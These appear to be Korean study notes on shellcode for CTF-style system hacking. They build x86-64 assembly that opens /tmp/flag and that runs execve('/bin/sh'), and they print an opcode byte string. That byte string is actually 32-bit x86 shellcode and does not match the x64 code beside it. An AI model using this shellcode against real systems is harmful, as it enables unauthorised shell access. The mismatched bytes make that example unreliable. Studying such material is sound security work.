OS에 명령을 내리기 위해 사용되는 사용자의 인터페이스로, shell을 획득한다는 것은 OS 및 시스템을 제어할 수 있게 된다는 것을 의미한다.
Exploit : 취약점을 이용하여 공격자가 의도한 방식으로 시스템을 제어하거나 권한 상승 등을 수행하는 구체적인 공격 코드
Control flow : 프로그램이 함수, 조건문, 루프 등을 통해 실행 흐름을 제어하는 방식
Analyze VS Reversing : 분석은 취약점이나 악성 코드 등 특정 대상의 동작을 파악하고 이해하는 과정이고, 리버싱은 바이너리 파일을 역분석하여 원래 코드의 구조나 동작을 파악하는 행위이다.
asm : CPU 명령어 한 줄에 대응하는 저수준 프로그래밍 언어
가장 기본적인 exploit 방법으로, shell을 획득하기 위한 목적으로 제작된 assembly 코드 조각을 말한다. (또는 bytecode)
공격 과정에서 rip가 공격자의 shellcode를 가리키게 할 수만 있다면 해커는 원하는 어셈블리 코드를 실행할 수 있게 되어, 사실상 어떠한 명령이던 CPU를 통해 내릴 수 있게 된다.
어셈블리어로 구성된다는 특징 때문에, 공격을 수행할 대상의 아키텍처와 운영 체제, 목적에 따라 다른 형태를 띈다. 또한 대상의 메모리 상태와 같은 시스템 환경에 따라 다른 형태의 shellcode가 필요하다.
shellcode의 목적으로는 Port binding, reversing, find socket, command execution, file transfer, process injection 등이 있다.
특정 파일을 open and write 하기 위한 어셈블리 코드를 작성하기 위해서는 우선 C언어 형식으로 공격 방법을 구현해 보는 것이 필요하다.
/tmp/flag 파일을 읽기 위해서는,
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
위와 같은 순서로 명령어가 실행되어야 한다.
총 3번의 syscall이 필요한데, 파일을 여는 open, 파일을 읽는 read, 이를 화면에 출력하는 write이다.
세 번의 syscall을 할 때 인자를 적절히 전달해 해줘야 하고, 파일 이름과 같은 문자열은 따로 메모리에 push해주어야 한다.
open syscall을 예시로 들면, 9 바이트의 문자열 "/tmp/flag", RD_ONLY macro를 의미하는 0, NULL을 의미하는 0 총 3개의 인자를 전달해 주어야 한다.
x64에서는 한 번에 8byte만을 push할 수 있으니, 9바이트의 문자열은 두 번에 걸쳐 메모리에 올려야 한다.
open syscall 값은 '2'로 할당되어 있으니,
다음과 같은 asm을 구성해볼 수 있다.
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
해당 순서대로 명령어가 실행된다면, open syscall에 인자가 잘 전달된 채로
open("/tmp/flag", RD_ONLY, NULL) 이 수행되게 된다.
완성한 어셈블리 코드는 컴파일을 통해 실행 파일로 생성할 수 있다. 실행 파일이 Linux 체제에서 돌아가게 하기 위해서는 ELF 파일로, Windows 체제에서 돌아가게 하기 위해서는 PE 형식으로 컴파일해야 한다.
임의의 프로그램을 실행하는 shellcode인데, 이를 이용하면 서버의 shell을 획득할 수 있게 된다.
Linux의 경우, 기본 shell 프로그램으로 sh, bash, zsh 등이 있으며 이를 실행시키는 것이 주 목표가 된다.
기본 실행 프로그램은 /bin 디렉토리 안에 존재하기에, 최종적으로는 /bin/sh를 실행하는 것이 쉘 획득을 위한 주 목표가 된다.
execve("/bin/sh", NULL, NULL)
shell 파일만을 실행하는 것이 목적이기에 다른 인자 (argv, 환경 변수 등)은 필요하지 않고, 이를 실행하기 위한 shellcode를 작성하면 된다.
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
그러나 위 실행 파일을 실행시키는 것보다, byte code (opcode)의 형태로 추출하여 해당 바이트 배열을 코드에 삽입하는 것이 많이 사용된다.
이를 위해 asm 코드를 obj 파일로 변환하고, objcopy 명령어를 통해 .bin 형태의 파일로 변환하면 byte code 형태의 shellcode를 얻을 수 있다.
xxd 등의 명령어로 확인을 해보면
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
위와 같은 형식이 뜬다.
syscall은 User space와 Kernel space 사이를 잇는 API로, User space 상의 프로그램이 kernel의 기능인 파일 열기, 메모리 접근, 네트워크 사용 등을 요청할 때 사용한다. 내부적으로 kernel trap을 발생시켜 CPU 특권 모드로 진입한다.
시스템 호출 방식은 OS, 아키텍처 별로 다르다.
x86은 int 0x80 또는 sysenter, x86_64는 syscall, windows는 int 0x2E 또는 sysenter로 호출한다. 각 아키텍처 별로 syscall에 인자를 전달하는 방법도 다르다. 인자가 없는 syscall도 있으며, 인자가 필요한 syscall은 레지스터를 통해 인자를 전달하는데 x86은 eax에 syscall #를, 인자를 ebx, ecx, edx 순서로 인자를 넣는다. x86_64는 rax에 syscall #를 넣고, 인자는 rdi, rsi, rdx 순서로 인자를 넣어 syscall에 전달한다.